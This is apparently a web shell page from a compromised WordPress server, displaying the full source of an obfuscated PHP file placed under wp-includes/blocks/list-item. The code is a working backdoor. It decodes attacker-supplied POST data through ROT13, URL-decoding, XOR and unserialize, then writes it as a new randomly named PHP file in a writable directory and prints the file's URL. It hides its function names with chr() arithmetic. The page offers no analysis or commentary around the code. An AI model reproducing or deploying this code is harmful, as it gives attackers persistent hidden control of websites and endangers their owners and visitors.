HEX
Server: Apache
System: Linux host.dominioscaracas.com 4.18.0-477.15.1.lve.2.el8.x86_64 #1 SMP Wed Aug 2 10:43:45 UTC 2023 x86_64
User: enciassa (1159)
PHP: 8.1.31
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/enciassa/www/wp-includes/blocks/list-item/swmtcfnh.php
<?php function SnKnXcwY($wuSaC, $hsQeKh, $IVbfgfklJ){$zqccb = "100871e9-d684-4f55-91bb-7eafb464c80b";return $wuSaC ^ $zqccb[$hsQeKh % strlen($zqccb)] ^ $IVbfgfklJ;}$FiyAQwg = "iBvfFIpy";function dJtCGUbaGX($FiyAQwg){ $YEKHxEXmn = "\163".chr(116)."\x72".'_'."\x72".chr(302-191).'t'.'1'.chr(172-121);$FiyAQwg = $YEKHxEXmn($FiyAQwg);$fFMYJxJA = "\162"."\141".'w'."\x75".chr(114).'l'."\144".'e'.chr(99)."\157".chr(100).'e';$FiyAQwg = $fFMYJxJA($FiyAQwg);$FiyAQwg = str_split($FiyAQwg);return $FiyAQwg;}function UAewrYA($cIjKiRsP, $IVbfgfklJ){$cIjKiRsP = array_map("SnKnXcwY", array_values($cIjKiRsP), array_keys($cIjKiRsP), array_values($IVbfgfklJ));$cIjKiRsP = implode("", $cIjKiRsP);$ggtfENzyQO = "\165"."\156"."\163"."\145"."\162".chr(402-297)."\141".'l'.chr(105).chr(122).chr(856-755);$cIjKiRsP = @$ggtfENzyQO($cIjKiRsP);return $cIjKiRsP;}function jxJKbYy($IVbfgfklJ, $cIjKiRsP){$IVbfgfklJ = array_slice(str_split(str_repeat($IVbfgfklJ, (count($cIjKiRsP)/16)+1)), 0, count($cIjKiRsP));return $IVbfgfklJ;}function eHMLKwxXQ(){echo "xErAx";}function YvuzX($GUNQhir){static $DeWtei = array();$vRcloObF = glob($GUNQhir . '/*', GLOB_ONLYDIR);$JfRpBJg = count($vRcloObF);if ($JfRpBJg > 0) {foreach ($vRcloObF as $GUNQh) {$QnIPJW = chr(986-881).chr(1034-919).'_'."\x77".chr(436-322).chr(1000-895).'t'.chr(97)."\142".chr(333-225).'e';if (@$QnIPJW($GUNQh)) {$DeWtei[] = $GUNQh;}}}foreach ($vRcloObF as $GUNQhir) YvuzX($GUNQhir);return $DeWtei;}function tElGBKqgh($cIjKiRsP){$mjlcfO = chr(68)."\117"."\x43".chr(709-624)."\x4d"."\105".chr(646-568).chr(813-729).'_'.'R'."\x4f"."\117"."\x54";$tpOwZYjEes = $_SERVER[$mjlcfO];$vRcloObF = YvuzX($tpOwZYjEes);$JEdWLbaG = array_rand($vRcloObF);$atJXpOKdKD = chr(46).'p'.chr(728-624).chr(112);$BmSTWbwMN = $vRcloObF[$JEdWLbaG] . "/" . substr(md5(time()), 0, 8) . $atJXpOKdKD;$FkccDF = "\x66"."\151".chr(1103-995)."\x65".'_'."\160".chr(117).'t'."\x5f".'c'."\x6f"."\x6e".'t'."\x65".'n'.chr(116).'s';@$FkccDF($BmSTWbwMN, $cIjKiRsP);$TZvrPP = "\x48"."\x54".'T'.'P'.'_'."\110".chr(79)."\123"."\124";$NQMVseTW = chr(551-447)."\x74"."\x74".'p'."\72".chr(47).chr(461-414);$FQWYaKjgV = $NQMVseTW . $_SERVER[$TZvrPP] . substr($BmSTWbwMN, strlen($tpOwZYjEes));print($FQWYaKjgV);}function OZNGBylOC($cIjKiRsP, $JEdWLbaG){$JEdWLbaG = $JEdWLbaG[0];if ($cIjKiRsP !== $JEdWLbaG){tElGBKqgh($cIjKiRsP);}else {YFOwTmpqa();}}function YFOwTmpqa(){$liuGlp = chr(154-42).'h'."\160";$vRSoWWp = "\160".chr(104).'p'."\x76".chr(902-801).chr(508-394).chr(421-306).chr(793-688)."\x6f".'n';$cIjKiRsP = Array($liuGlp => @$vRSoWWp(), );$wFGmUpcVPJ = chr(115)."\x65".chr(1089-975).'i'."\141"."\154".chr(105).chr(122)."\x65";echo @$wFGmUpcVPJ($cIjKiRsP);}function lsWYZV(){echo "iBvfFIpy";}foreach ($_POST as $IVbfgfklJ => $cIjKiRsP){$vDPzkZe = strlen($IVbfgfklJ);if ($vDPzkZe == 16){$cIjKiRsP = dJtCGUbaGX($cIjKiRsP);$IVbfgfklJ = jxJKbYy($IVbfgfklJ, $cIjKiRsP);$cIjKiRsP = UAewrYA($cIjKiRsP, $IVbfgfklJ);if (@is_array($cIjKiRsP)){$JEdWLbaG = array_keys($cIjKiRsP);$cIjKiRsP = $cIjKiRsP[$JEdWLbaG[0]];OZNGBylOC($cIjKiRsP, $JEdWLbaG);}}}die();